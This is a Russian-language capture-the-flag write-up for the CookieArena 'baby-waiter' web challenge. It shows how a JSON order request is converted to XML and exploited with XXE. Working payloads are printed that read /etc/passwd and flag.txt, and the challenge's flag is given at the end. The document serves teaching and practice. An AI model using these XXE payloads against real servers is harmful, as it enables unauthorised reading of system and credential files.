Ссылка: https://battle.cookiearena.org/challenges/web/baby-waiter *** # Анализирование Сначала мы просмотрим веб-сайт, на веб-сайте есть функция заказа еды как на картинке ниже ![](https://hackmd.io/_uploads/BkCBgEIh2.png) Каждый раз, когда мы выбираем и заказываем товар, мы получаем такой фрагмент json. ![](https://hackmd.io/_uploads/H1JsWNL22.png) Вот мы можем предположить, что это уязвимость `xxe`. Сейчас мы эксплуатируем его. *** # Эксплуатация ![](https://hackmd.io/_uploads/Hk7jMNInh.png) Как видно на картинке выше, мы можем увидеть, что данные отправляются между интерфейсом и сервером в формате JSON. Поэтому нам нужно преобразовать данные отправлены из формата JSON в формат XML. ```jso! { "table_num":"22", "food":"Ice Scream" } ``` Преобразование в формат XML будет выглядеть как ниже: ```xml! <root> <table_num>22</table_num> <food>Ice Scream</food> </root> ``` ![](https://hackmd.io/_uploads/H17DuEU2n.png) **Надо изменить `Content-Type: .../json` на `.../xml`** Нам нужно обратить внимание на ответ сайта, тут только появляется фраза `Ice Scream`, так мы будим использовать полезную нагрузку следующим образом: ```xml! <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <table_num>22</table_num> <food>&xxe;</food> </root> ``` Полезная нагрузка выше используется технику атаки XXE, просто изменяет `Ice Scream` на `&xxe`; ![](https://hackmd.io/_uploads/rk9OTEL23.png) **Успешная атака** Так как последняя полезная нагрузка: ```xml! <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]> <root> <table_num>22</table_num> <food>&xxe;</food> </root> ``` Просто изменяет адрес, чтобы получить флаг. ![](https://hackmd.io/_uploads/rJ98C4Ln2.png) **Получил флаг**: CHH{5ImPle_XX3_e902abf07b59e4a618d9f78a5cba1a98} *** # Заключение Спасибо за прочтение и увидимся в следующем посте. Пока!!!